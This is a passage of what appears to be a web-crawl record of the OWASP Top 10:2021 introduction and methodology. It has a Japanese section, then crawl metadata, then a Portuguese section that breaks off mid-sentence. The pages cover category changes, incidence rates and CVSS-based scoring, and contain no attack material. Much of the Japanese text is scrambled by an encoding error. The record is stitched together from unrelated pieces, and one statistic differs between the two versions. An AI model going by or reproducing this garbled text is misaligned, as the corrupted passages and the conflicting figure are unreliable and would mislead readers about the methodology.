źă—ăžă—ăŸă€‚ă“ă‚ŒăŤă‚ˆă‚Šă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ…¨ä˝“ă‚’ćŻé›†ĺ›Łă¨ă—ăŚă¨ăŁăŸä¸Šă§ă€ăă‚Œăžă‚ŒăŽCWEがどの程度蔓延しているかを把握することができます。\n\n目的を踏まえて、当該CWEăŽç™şčŚ‹é ťĺşŚăŤă¤ă„ăŚăŻç„ĄčŚ–ă—ăžă—ăŸă€‚é ťĺşŚăŻäť–ăŽçŠśćłă§ăŻĺż…čŚć€§ăŒă‚ă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽćŻé›†ĺ›ŁăŤăŠă„ăŚăŻă€çžĺŽŸăŽč”“ĺťśçŽ‡ă‚’éš ă™ă“ă¨ăŤăŞăŁăŚă—ăžă„ăžă™ă€‚äž‹ăˆă°ă€ă‚ă‚‹ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤă€ă‚ă‚‹ç‰šĺŽšăŽCWEの脆弱性が4例見つかることもあれば、4,000äž‹čŚ‹ă¤ă‹ă‚‹ă“ă¨ă‚‚ă‚ă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ăăŽç™şç”Ÿé ťĺşŚăŻăƒˆăƒƒăƒ—10の計算に影響させないというわけです。こうして、データセットで分析できたCWEは約30個から約400ĺ€‹ăŤăŞă‚Šăžă—ăŸă€‚äťŠĺžŒă€ç§ăŸăĄăŻčż˝ĺŠ ăŽăƒ‡ăƒźă‚żč§Łćžă‚’čĄŒă„ă€Top 10に補足する計画です。このようにCWEの数が大幅に増えたことで、カテゴリーの構成方法を変更する必要があります。\n\nCWEのグループ化と分類に数ヶ月を費やしました。さらに数ヶ月続けることもできたかもしれませんが、どこかの時点で止めなければなりません。CWEăŤăŻă€Œć šćœŹĺŽŸĺ› ă€ă¨ă€Œç—‡çŠśă€ăŒă‚ă‚Šă€ă€Œć šćœŹĺŽŸĺ› ă€ăŤăŻă€Œćš—ĺˇăŽćŹ é™Ľă€ă‚„ă€Œč¨­ĺŽšăƒŸă‚šă€ăŞăŠăŒă‚ă‚Šă€ă€Œç—‡çŠśă€ăŤăŻă€ŒćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽćźăˆă„ă€ă‚„ă€Œă‚ľăƒźăƒ“ă‚šĺŚ¨ĺŽłă€ăŞăŠăŒă‚ă‚Šăžă™ă€‚ăă“ă§ç§ăŸăĄăŻă€ĺŻčƒ˝ăŞé™ă‚Šć šćœŹçš„ăŞĺŽŸĺ› ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŤă—ăžă—ăŸă€‚č­˜ĺˆĽă¨äżŽĺžŠăŽăŸă‚ăŽă‚Źă‚¤ăƒ€ăƒłă‚šă‚’ćäž›ă™ă‚‹ăŽăŤéŠă—ăŚă„ă‚‹ă‹ă‚‰ă§ă™ă€‚ă€Œç—‡çŠśă€ă§ăŻăŞăă€Œć šćœŹĺŽŸĺ› ă€ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŻă€äťŠăŤĺ§‹ăžăŁăŸă‚łăƒłă‚ťăƒ—ăƒˆă§ăŻă‚ă‚Šăžă›ă‚“ă€‚ăŠăŽç‰ˆăŽTop 10ă‚‚ă€ç—‡çŠśă¨ĺŽŸĺ› ăŒćˇˇĺœ¨ă—ăŚăăžă—ăŸă€‚CWEă‚‚ăžăŸă€ă€Œç—‡çŠśă€ă¨ă€Œć šćœŹĺŽŸĺ› ă€ăŒćˇˇĺœ¨ă—ăŚă„ăžă™ă€‚ç§ăŸăĄăŻăăŽă“ă¨ă‚’ă‚ˆă‚Šć…Žé‡ăŤč€ƒăˆă€ĺ‘źăłă‹ă‘ăŚă„ăžă™ă€‚äťŠĺ›žăŽă‚Ťăƒ†ă‚´ăƒŞă”ă¨ăŤĺŤăžă‚Œă‚‹CWE数は平均19.6件で、最少で **A10:2021-サーバーサイドリクエストフォージェリ(SSRF)** ぎ1件、そして最多のものは **A04:2021-安全が確認されない不安な設計** ぎ40äťśă¨ăŞăŁăŚă„ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźć§‹é€ ăŽĺ¤‰ć›´ăŻăƒˆăƒŹăƒźăƒ‹ăƒłă‚°ăŤă•ă‚‰ăŞă‚‹ĺŠšćžœă‚’ă‚‚ăŸă‚‰ă—ăžă™ă€‚ăŸă¨ăˆă°äźćĽ­ăŻă€ĺˆŠç”¨ă—ăŚă„ă‚‹č¨€čŞžă‚„ăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŤă¨ăŁăŚć„ĺ‘łăŽă‚ă‚‹CWEに集中して教えることができるでしょう。\n\n## カテゴリ選定にデータがどのように使用されたか\n\n2017年では、発生率よりカテゴリーを選定して可能性を判断し、数十年の経験に基づき、*悪用のしやすさ*、*検出のしやすさ*(および *可能性*)、*技術面への影響*についてチームの議論によりランク付けしました。2021年については、可能であれば*悪用のしやすさ*と*(技術面の) 影響*のデータを使用したいと思います。\n\nOWASP Dependency Checkをダウンロードし、CVSS Exploit、およびImpactのスコアを、関連するCWEでグループ化して抽出しました。CVSSv2きはCVSSv3ă§ĺŻžĺ‡Śă•ă‚Œă‚‹ă§ă‚ă‚ă†ćŹ é™ĽăŒă‚ă‚‹ăŤă‚‚ă‹ă‹ă‚ă‚‰ăšă€ă™ăšăŚăŽCVEはCVSSv2のスコアを持っていたため、かなりの調査と労力を要しました。ですがある時点から、すべてのCVEきCVSSv3のスコアも割り当てられるようになりました。なお、CVSSv2とCVSSv3の間では、スコアの範囲と計算式が更新されています。\n\nCVSSv2 では、*悪用性* と *(技術面の) 影響* の両方が 10.0 まで可能でしたが、計算式によって *悪用性* は 60%、*影響* は 40% に調整されました。CVSSv3では、理論的な最大値が*Exploit*が6.0、*Impact*が4.0に制限されています。この重み付けにより、CVSSv3ではインパクトのスコアが平均でほぼ1.5ポイント高くなり、悪用性のスコアは平均でほぼ0.5ポイント低くなりました。\n\nOWASP Dependency Checkから抽出されたNVDNational Vulnerability Database)データには、CWEがマッピングされたCVEのレコードは125,000件あり、これらの中に一意のCWEは241件確認されました。CWEがマップされた 6,200件がCVSSv3スコアを持っており、これはデータセットの母数の約半分に相当します。\n\n2021年版Top10では、以下の方法で平均*悪用性*スコアと*影響*スコアを算出しました。CVSSスコアを持つすべてのCVEをCWEでグループ化し、*悪用性*と*影響*の両スコアを、CVSSv3スコアを持つ母集団の割合 + CVSSv2スコアを持つ残りの母集団で重み付けして全体の平均値を算出しました。この平均値をデータセットのCWEにマッピングし、リスク方程式のうち半分の*悪用性*および*(技術面の) 影響*スコアとして使用しました。\n\n## なぜ純粋な統計データだけではないのか\n\nデータからの結果は、主に自動化された方法でテストできるものからに限られています。しかし、経験豊富なAppSecの専門家に話を聞けば、まだデータにはない発見や傾向について教えてくれるでしょう。とはいえ特定の脆弱性タイプに対するテスト手法を開発するのには時間が必要です。そのテストを自動化し、多くのアプリケーションに対して自動的に実行できるようにするのは、さらに時間がかかります。つまり、データから過去を振り返るだけでは限界があり、データにはない昨年のトレンドを見落としている可能性があります。\n\nそのため、不完全ともいえるデータの結果からのカテゴリ選定は10é …ç›ŽăŽă†ăĄ8é …ç›ŽăŤç•™ă‚ăŚă„ăžă™ă€‚ćŽ‹ă‚ŠăŽ2つのカテゴリーは、トップ10コミュニティ調査によって選びました。これは、最前線で実際に活躍されている方々が、最も高いリスクにもかかわらず、データには現れないであろう(データでは表しようもない)と思われるものを選んでくれたものです。\n\n## é ťĺşŚă§ăŻăŞăă€ç™şç”ŸçŽ‡ă‚’ĺŸşćş–ă¨ă—ăŸç†ç”ą\n\nデータソースは主に3つあります。ここでは、HaTHuman-assisted Tooling:人間援助型自動テスト)、TaHTool-assisted Human:ツールを利用した手動テスト)、そしてRaw Tooling:完全自動テストと名付けました。\n\n自動テストとHaTăŻéŤ˜é ťĺşŚç™şčŚ‹ç”ŸćˆćŠŸă§ă™ă€‚ă“ă‚Œă‚‰ăŻă€ç‰šĺŽšăŽč„†ĺźąć€§ăŤĺŻžă—ăŚă€ăăŽč„†ĺźąć€§ă‚’ćŒă¤ă™ăšăŚăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ă§ăă‚‹é™ă‚ŠčŚ‹ă¤ă‘ă‚ˆă†ă¨ă—ăžă™ă€‚ă“ăŽăŸă‚ă€ă„ăă¤ă‹ăŽč„†ĺźąć€§ăŽă‚żă‚¤ăƒ—ăŤă¤ă„ăŚéŤ˜ă„ç™şčŚ‹ć•°ă‚’ĺ‡şĺŠ›ă—ăžă™ă€‚ă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ă‚’äž‹ăŤă—ăžă™ă¨ă€ă“ăŽč„†ĺźąć€§ăŻé€šĺ¸¸ă€čť˝ĺžŽă§ĺ­¤çŤ‹ă—ăŸăƒŸă‚šăŤă‚ˆă‚‹ă‚‚ăŽă¨ă‚ˇă‚šăƒ†ăƒ çš„ăŞĺ•éĄŒăŤă‚ˆă‚‹ă‚‚ăŽă€ăŽ2ç¨ŽéĄžăŒă‚ă‚Šăžă™ă€‚ă‚ˇă‚šăƒ†ăƒ çš„ăŞĺ•éĄŒă§ă‚ă‚‹ĺ ´ĺˆă€ĺ˜ä¸€ăŽă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă§ç™şčŚ‹ć•°ăŒć•°ĺƒăŤăŞă‚‹ă“ă¨ăŒă‚ă‚Šăžă™ă€‚ă“ăŽă‚ˆă†ăŞăƒ‡ăƒźă‚żă§äť–ăŽăƒŹăƒăƒźăƒˆă‚„ăƒ‡ăƒźă‚żă‹ă‚‰ç™şčŚ‹ă•ă‚ŒăŸäť–ăŽăťă¨ă‚“ăŠăŽč„†ĺźąć€§ăŒĺŸ‹ă‚‚ă‚ŒăŚă—ăžă„ăžă™ă€‚\n\n一方、TaHă§ăŻă€ă‚ˆă‚Šĺš…ĺşƒă„ç¨ŽéĄžăŽč„†ĺźąć€§ă‚’ç™şčŚ‹ă—ăžă™ăŒă€ć™‚é–“ăŽĺˆśç´„ä¸Šă€ç™şčŚ‹é ťĺşŚăŻă‹ăŞă‚Šä˝ŽăăŞă‚Šăžă™ă€‚äşşé–“ăŒă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚’ăƒ†ă‚šăƒˆă—ăŚă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ă¨ă„ăŁăŸă‚‚ăŽă‚’ç™şčŚ‹ă—ăŸĺ ´ĺˆă€é€šĺ¸¸3つか4ă¤ăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ç™şčŚ‹ă—ăŚĺˆ‡ă‚Šä¸Šă’ăžă™ă€‚ă“ăŽć™‚ç‚šă§ă‚ˇă‚šăƒ†ăƒ çš„ăŞç™şčŚ‹ă‚’ĺˆ¤ć–­ă—ă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ…¨ä˝“ăŽă‚šă‚ąăƒźăƒŤă§äżŽć­Łă™ă‚‹ăŸă‚ăŽćŽ¨ĺĽ¨äş‹é …ă¨ă¨ă‚‚ăŤă€ăƒŹăƒăƒźăƒˆă‚’ć›¸ăä¸Šă’ă‚‹ă“ă¨ăŒă§ăăžă™ă€‚ă™ăšăŚăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’čŚ‹ă¤ă‘ă‚‹ă“ă¨ăŻ(それにかける時間も)必要ありません。\n\nこの2ă¤ăŽç•°ăŞă‚‹ăƒ‡ăƒźă‚żă‚ťăƒƒăƒˆă‚’ĺ–ă‚Šĺ‡şă—ăŚă€é ťĺşŚăŽčŚłç‚šă§ăƒžăƒźă‚¸ă—ă‚ˆă†ă¨ă—ăŸă¨ă—ăžă™ă€‚ăăŽĺ ´ĺˆă€č‡Şĺ‹•ăƒ†ă‚šăƒˆă¨HaTのデータで、より正確で(ただし広く薄い)TaHăŽăƒ‡ăƒźă‚żă‚’ĺŸ‹ă‚‚ă‚ŒăŚă—ăžă†ă§ă—ă‚‡ă†ă€‚ă“ă‚ŒăŒă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ăŽă‚ˆă†ăŤă€ĺ˝ąéŸżăŻä¸€čˆŹçš„ăŤĺ°ă•ă„ă‹ä¸­ç¨‹ĺşŚă§ă‚ă‚‹ă‚ˆă†ăŞă‚‚ăŽăŒă€ĺ¤šăăŽăƒŞă‚šăƒˆăŤăŠă„ăŚéŤ˜ă„é †ä˝ăŤćŒ™ă’ă‚‰ă‚ŒăŚă„ă‚‹ç†ç”ąăŽä¸€ă¤ă§ă™ă€‚ă¤ăžă‚Šăžă•ă—ăç™şčŚ‹ăŒéžĺ¸¸ăŤĺ¤šă„ă‹ă‚‰ă§ă™ă€‚(クロスサイトスクリプティングはテストもしやすいので、それに対するテストも多く行われています)。\n\n2017年には、データを改めて見直し自動テスト及びHaTのデータをTaHのデータときれいに統合するために、代わりに発生率を用いることを導入しました。発生率とは、ある脆弱性タイプのインスタンスを一つ以上持っていたものが、アプリケーションの母集団のうち何%いたかを確認したものです。単発的なものかシステム的なものかは気にしません。それは私たちの目的に影響しないからです。つまり少なくとも1ă¤ăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ćŒă¤ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽć•°ăŒĺˆ†ă‹ă‚Œă°ă‚ˆă„ă ă‘ăŞăŽă§ă™ă€‚ă“ă‚ŒăŻă€éŤ˜é ťĺşŚăŽçľćžœă§ăƒ‡ăƒźă‚żă‚’ĺŸ‹ă‚‚ă‚Œă•ă›ă‚‹ă“ă¨ăŞăă€č¤‡ć•°ăŽăƒ†ă‚šăƒˆă‚żă‚¤ăƒ—ăŤăžăŸăŒă‚‹ăƒ†ă‚šăƒˆăŽć‰€čŚ‹ă‚’ă‚ˆă‚Šć˜Žç˘şăŤç¤şă™ăŽăŤĺ˝šçŤ‹ăĄăžă™ă€‚ăƒŞă‚šă‚Żĺˆ†ćžčŚłç‚šă¨ă—ăŚă€ć”ťć’ƒč€…ăŻăŸăŁăŸ1つの脆弱なインスタンスがありさえすれば、カテゴリを経由してアプリケーション攻撃成功できる、ということにもあたります。\n\n## データの収集と分析のプロセスについて\n\n2017年のオープンセキュリティサミットでOWASP Top 10のデータ収集プロセスを正式化しました。OWASP Top 10のリーダーとコミュニティは、2日間かけて透明性のあるデータ収集プロセスを正式化することに取り組みました。2021年版は、このプロセスを利用した2回目の取り組みになります。\n\n私たちは、ソーシャルメディアのチャンネルを通じて、OWASPプロジェクトとOWASPぎGithub両方でデータの募集を公表しています。OWASPăƒ—ăƒ­ă‚¸ă‚§ă‚ŻăƒˆăŽăƒšăƒźă‚¸ă§ăŻă€ç§ăŸăĄăŒćą‚ă‚ăŚă„ă‚‹ăƒ‡ăƒźă‚żăŽčŚç´ ă‚„ć§‹é€ ă€ăă—ăŚćĺ‡şć–šćł•ă‚’ăƒŞă‚šăƒˆă‚˘ăƒƒăƒ—ă—ăŚă„ăžă™ă€‚GitHubăƒ—ăƒ­ă‚¸ă‚§ă‚Żăƒˆă§ăŻă€ăƒ†ăƒłăƒ—ăƒŹăƒźăƒˆă¨ăŞă‚‹ă‚ľăƒłăƒ—ăƒŤăƒ•ă‚Ąă‚¤ăƒŤă‚’ç”¨ć„ă—ăŚă„ăžă™ă€‚ĺż…čŚăŤĺżœă˜ăŚçľ„çš”ă¨ĺ”ĺŠ›ă—ă€ć§‹é€ ăŽč§Łćžă‚„CWEへのマッピングを行っています。\n\nベンダーのテスト業務を生業とする組織、バグバウンティベンダー、社内のデータテスト結果を提供してくれた組織などからデータを入手します。データを入手したら、それを読み込んで、どのようなCWEăŒăŠăŽăƒŞă‚šă‚Żă‚Ťăƒ†ă‚´ăƒŞăŤăƒžăƒƒăƒ”ăƒłă‚°ă•ă‚Œă‚‹ă‹ă‚’ć šćœŹçš„ăŤĺˆ†ćžă—ăžă™ă€‚CWEの中にはリスクカテゴリが重複しているものもあれば、非常に密接に別のリスクカテゴリに関連しているものもあります(例:暗号の脆弱性)。提出された生データに関する決定はすべて文書化され、オープンとなるよう公開し、データをどのように正規化したかについて透明性のあるものとしています。\n\nトップ10に含めるために、発生率の高い8つのカテゴリーを調べます。また、トップ10のコミュニティアンケート結果を見て、すでにデータとして確認できているであろうものを確認します。そうしてデータからは確認できなかった上位2つを、Top10の残りの2箇所に選びます。10個すべてが選ばれたら、トップ10ă‚’ăƒŞă‚šă‚ŻăŤĺŸşăĽăé †ĺşă§ăƒŠăƒłă‚Żäť˜ă‘ă™ă‚‹ăŽăŤĺ˝šçŤ‹ăŚă‚‹ăšăă€ć‚Şç”¨ăŽă—ă‚„ă™ă•ă¨ĺ˝ąéŸżăŤé–˘ă™ă‚‹ä¸€čˆŹčŚç´ ă‚’ă‚ăŚăŻă‚ăžă—ăŸă€‚\n\n## 用語集\n\nトップ10カテゴリーのそれぞれの中にある下記用語について、意味を記載します。\n\n- CWEs Mapped(カテゴリにあたるCWEの数): Top10チームがカテゴリーにマッピングしたCWEの数です。\n- Incidence Rate(発生率): 発生率とは、当年に機関によってテストされた母集団のうち、カテゴリにマップされたCWEに脆弱なアプリケーションの割合を示します。\n- (Testing) Coverage(テスト)網羅範囲: カテゴリにマップされたCWEに対して、機関がテストできたアプリケーションの範囲。\n- Weighted Exploit(重み付けされた悪用性): CVEに割り当てられているCVSSv2およびCVSSv3スコアの悪用性サブスコアを正規化し、10ptのスケールで表示したものです。\n- Weighted Impact(重み付けされた影響度): CVEに割り当てられているCVSSv2およびCVSSv3スコアの影響サブスコアを正規化し、10ptのスケールで表示したものです。\n- Total Occurrences(総発生数): カテゴリにマッピングされたCWEを持つことが判明したアプリケーションの総数です。\n- Total CVEs(CVE合計数): カテゴリにマッピングされたCWEに該当する、NVD DB内のCVEの総数です。\n\n## データ提供者への謝辞\n\nこの最も大規模で包括的なアプリケーションセキュリティのデータセットを作り上げるために、(何名かの匿名の提供者とともに)以下の組織には 50,000 を超えるアプリケーションに関するデータを提供いただきました。 これは皆様のご協力なくしては成し得ませんでした。\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## スポンサーへの謝辞", "znaku_textu": 23633, "slov": 378, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/ja/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:09", "sha256": "dcb9d89e5250b3e18b0461faa85f26ffe05fe06bd2b79f8ac3df37324cb86ce8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/pt-BR/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introdução", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/pt-BR/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introdução"}, {"uroven": 2, "text": "Bem-vindo ao OWASP Top 10 - 2021"}, {"uroven": 2, "text": "O que mudou no Top 10 para 2021"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Como as categorias são estruturadas"}, {"uroven": 2, "text": "Como os dados são usados para selecionar categorias"}, {"uroven": 2, "text": "Por que não apenas dados puramente estatísticos?"}, {"uroven": 2, "text": "Por que taxa de incidência em vez de frequência?"}, {"uroven": 2, "text": "Qual é o processo de coleta e análise de dados?"}, {"uroven": 2, "text": "Fatores dos Dados"}, {"uroven": 2, "text": "Parabéns aos fornecedores de dados"}, {"uroven": 2, "text": "Obrigado aos nossos patrocinadores"}], "markdown": "# Introdução\n\n## Bem-vindo ao OWASP Top 10 - 2021\n\nBem-vindo à última edição do OWASP Top 10! O OWASP Top 10 2021 é totalmente novo, com um novo design gráfico e um infográfico disponível que você pode imprimir ou obter em nossa página inicial.\n\nUm grande obrigado a todos que contribuíram com seu tempo e dados para esta iteração. Sem você, esta parcela não aconteceria. **OBRIGADO**.\n\n## O que mudou no Top 10 para 2021\n\nExistem três novas categorias, quatro categorias com alterações em nomenclaturas e escopo, e alguma consolidação no Top 10 para 2021.\n\n- **A01:2021-Quebra de Controle de Acesso** sobe da quinta posição; 94% das aplicação foram testados para alguma forma de controle de acesso quebrado. O 34 CWEs mapeados para Quebra de Controle de Acesso tiveram mais ocorrências em aplicações do que qualquer outra categoria.\n- **A02:2021-Falhas Criptográficas** sobe uma posição para #2, anteriormente conhecido como *Exposição de Dados Sensíveis* , que era um sintoma amplo em vez de uma causa raiz. O foco renovado aqui está nas falhas relacionadas à criptografia, que muitas vezes leva à exposição de dados confidenciais ou sistema comprometido.\n- **A03:2021-Injeção** foi rebaixado para terceira posição. 94% das aplicações foram testadas para alguma forma de injeção com uma taxa de incidência máxima de 19%, uma taxa de incidência média de 3,37% e os 33 CWEs mapeados nesta categoria têm o segundo maior número de ocorrências em aplicações, com 274k ocorrências. Cross-site Scripting (Scripts Inter-site) agora faz parte desta categoria nesta edição.\n- **A04:2021-Design Inseguro** é uma nova categoria para 2021, com foco em riscos relacionados a falhas de projeto. Se quisermos genuinamente \"mover para a esquerda (shift left)\" como setor, precisamos de mais modelagem de ameaças, padrões e princípios de design seguros e arquiteturas de referência. Um design inseguro não pode ser corrigido por uma implementação perfeita, pois, por definição, os controles de segurança necessários nunca foram criados para a defesa contra ataques específicos.\n- **A05:2021-Configuração Insegura** subiu para sexta posição em comparação a edição anterior. 90% dos aplicativos foram testados para alguma conforma de configuração insegura, com uma taxa de incidência média de 4,5% e mais de 208 mil ocorrências de CWEs mapeados para esta categoria de risco. Com mais mudanças em software altamente configurável, não é surpreendente ver essa categoria subir.\n- **A06:2021-Componente Desatualizado e Vulnerável** foi anteriormente intitulado \"Usar componente com vulnerabilidade conhecida\" e é o número 2 na pesquisa da comunidade Top 10, mas também tinha dados suficientes para chegar ao Top 10 por meio de análise de dados. Esta categoria subiu da 9ª posição em 2017 e é um problema conhecido que temos dificuldade em testar e avaliar o risco. É a única categoria a não ter nenhuma Vulnerabilidade e Exposições Comuns (CVEs) mapeada para os CWEs incluídos, portanto, uma exploração padrão e pesos de impacto de 5,0 são considerados em suas pontuações.\n- **A07:2021-Falha de Identificação e Autenticação** era conhecida anteriormente como Falha de Autenticação e caiu da terceira posição para essa, e foram incluídas as CWEs que mais se relacionam com as falhas na identificação. Essa categoria ainda é parte integrante do Top 10, mas a maior disponibilidade de estruturas (frameworks) padronizadas parece estar ajudando a reduzir.\n- **A08:2021-Falha na Integridade de Dados e Software** é uma nova categoria em 2021, focadas em fazer premissas relacionadas a atualização de software, dados críticos, e linhas de CI/CD que não verificam a integridade. Um dos maiores pesos dos dados nessa categoria são CVE/CVSS mapeados para os 10 CWEs nesta categoria. A categoria **A8:2017-Desserialização Insegura** agora faz parte dessa categoria.\n- **A09:2021-Monitoramento de Falhas e Registros de Segurança** anteriormente chamado de **A10:2017-Registro e Monitoramentos Insuficientes** e foi adicionado pela pesquisa da comunidade de Top 10, ficando em terceiro lugar, passando da 10° posição anterior. Essa categoria foi expandida para incluir um maior número de falhas, sendo um desafio para testar e não está bem representada nos dados de CVE/CVSS. No entanto falhas nessa categoria podem impactar diretamente a visibilidade, o alerta de incidente e a perícia.\n- **A10:2021-Falsificação de Solicitação do Lado do Servidor** foi adicionada a partir da pesquisa da comunidade, sendo a primeira da classificação. Os dados mostram uma taxa de incidência relativamente baixa com cobertura de teste acima da média, junto com classificações acima da média para potencial de exploração e impacto. Esta categoria representa o cenário em que os membros da comunidade de segurança estão nos dizendo que isso é importante, embora não esteja ilustrado nos dados neste momento.\n\n## Metodologia\n\nEsta edição do Top 10 é mais baseada em dados do que nunca, mas não cegamente baseada em dados. Selecionamos oito das dez categorias de dados fornecidos e duas categorias da pesquisa da comunidade Top 10 em um alto nível. Fazemos isso por uma razão fundamental: olhar para os dados de contribuição é olhar para o passado. Os pesquisadores do segurança de aplicação levam tempo para encontrar novas vulnerabilidades e novas maneiras de testá-las. Leva tempo para integrar esses testes em ferramentas e processos. No momento em que podemos testar com segurança uma fraqueza em escala, provavelmente já se passaram anos. Para equilibrar essa visão, usamos uma pesquisa da comunidade para perguntar a especialistas em segurança e desenvolvimento de aplicativos na linha de frente o que eles veem como fraquezas essenciais que os dados podem não mostrar ainda.\n\nExistem algumas mudanças críticas que adotamos para continuar a amadurecer o Top 10.\n\n## Como as categorias são estruturadas\n\nOs esforços anteriores de coleta de dados concentraram-se em um subconjunto prescrito de aproximadamente 30 CWEs com um campo solicitando descobertas adicionais. Aprendemos que as organizações se concentrariam principalmente nesses 30 CWEs e raramente acrescentariam outros CWEs que vissem. Nesta iteração, nós abrimos e apenas pedimos os dados, sem restrição de CWEs. Pedimos o número de aplicativos testados para um determinado ano (começando em 2017) e o número de aplicativos com pelo menos uma instância de um CWE encontrado em teste. Esse formato nos permite rastrear a prevalência de cada CWE na população de aplicativos. Ignoramos a frequência para nossos propósitos; embora possa ser necessário para outras situações, ele apenas oculta a prevalência real na população de aplicação. Se um aplicativo tem quatro instâncias de um CWE ou 4.000 instâncias não faz parte do cálculo para os 10 principais. Passamos de aproximadamente 30 CWEs para quase 400 CWEs para analisar no conjunto de dados. Planejamos fazer análises de dados adicionais como um suplemento no futuro. Este aumento significativo no número de CWEs exige mudanças na forma como as categorias são estruturadas.\n\nPassamos vários meses agrupando e categorizando os CWEs e poderíamos ter continuado por mais tempo. Tivemos que parar em algum ponto. Existem os tipos de *causa raiz* e *sintoma* dos CWEs, em que os tipos de *causa raiz* são como \"Falha criptográfica\" e \"Configuração incorreta\" em contraste com os tipos *sintoma* como \"Exposição de dados confidenciais\" e \"Negação de serviço\". Decidimos nos concentrar na *causa raiz* sempre que possível, pois é mais lógico para fornecer orientação de identificação e correção. Focar na *causa raiz* em vez do *sintoma* não é um conceito novo; o Top 10 foi uma mistura de *sintoma* e *causa raiz*. Os CWEs também são uma mistura de *sintoma* e *causa raiz*; estamos simplesmente sendo mais deliberados sobre isso e convocando-o. Há uma média de 19,6 CWEs por categoria nesta parcela, com os limites inferiores e superiores em 1 CWE para **A10: 2021-Server-Side Request Forgery (SSRF)** a 40 CWEs em **A04: 2021-Design inseguro**. Essa estrutura de categorias atualizada oferece benefícios adicionais de treinamento, pois as empresas podem se concentrar em CWEs que façam sentido para uma linguagem/estrutura.\n\n## Como os dados são usados para selecionar categorias\n\nEm 2017, selecionamos categorias por taxa de incidência para determinar a probabilidade e, em seguida, as classificamos em discussões de equipe com base em décadas de experiência em *Explorabilidade*, *Detectabilidade* (também *probabilidade*) e *Impacto técnico*. Para 2021, queremos usar os dados para *Explorabilidade* e *Impacto (técnico)*, se possível.\n\nBaixamos o OWASP Dependency Check e extraímos a pontuação de exploração do CVSS e as pontuações de impacto agrupadas por CWEs relacionados. Foi necessário um pouco de pesquisa e esforço, pois todos os CVEs têm pontuações CVSSv2, mas há falhas no CVSSv2 que o CVSSv3 deve corrigir. Após um determinado momento, todos os CVEs também recebem uma pontuação CVSSv3. Além disso, os intervalos de pontuação e fórmulas foram atualizados entre CVSSv2 e CVSSv3.\n\nEm CVSSv2, *Exploração* e *Impacto (Técnico)* podem ser até 10,0, mas a fórmula os derrubaria para 60% para *Exploração* e 40% para *Impacto*. No CVSSv3, o máximo teórico foi limitado a 6,0 para *Exploração* e 4,0 para *Impacto*. Com a ponderação considerada, a pontuação de impacto aumentou, quase um ponto e meio em média no CVSSv3, e a explorabilidade caiu quase meio ponto abaixo em média.\n\nExistem 125k registros de um CVE mapeado para um CWE nos dados do National Vulnerability Database (NVD) extraídos do OWASP Dependency Check, e há 241 CWEs exclusivos mapeados para um CVE. 62k dos CWEs têm uma pontuação CVSSv3, que é aproximadamente metade da população do conjunto de dados.\n\nPara os dez primeiros 2021, calculamos as pontuações médias de *exploração* e *impacto* da seguinte maneira. Agrupamos todos os CVEs com pontuações CVSS por CWE e ponderamos *exploração* e *impacto* marcados pela porcentagem da população que tinha CVSSv3 + a população restante de pontuações CVSSv2 para obter uma média geral. Mapeamos essas médias para os CWEs no conjunto de dados para usar como pontuação *Exploração* e *Impacto (Técnico)* para a outra metade da equação de risco.\n\n## Por que não apenas dados puramente estatísticos?\n\nOs resultados nos dados são limitados principalmente ao que podemos testar de maneira automatizada. Fale com um profissional experiente da segurança de aplicações, e ele lhe contará sobre as coisas que encontrou e as tendências que viu e que ainda não constaram dos dados. Leva tempo para as pessoas desenvolverem metodologias de teste para certos tipos de vulnerabilidade e mais tempo para que esses testes sejam automatizados e executados em uma grande quantidade de aplicativos. Tudo o que encontramos é uma retrospectiva e pode estar faltando tendências do ano passado, que não estão presentes nos dados.\n\nPortanto, escolhemos apenas oito das dez categorias dos dados porque estão incompletos. As outras duas categorias são da pesquisa da comunidade 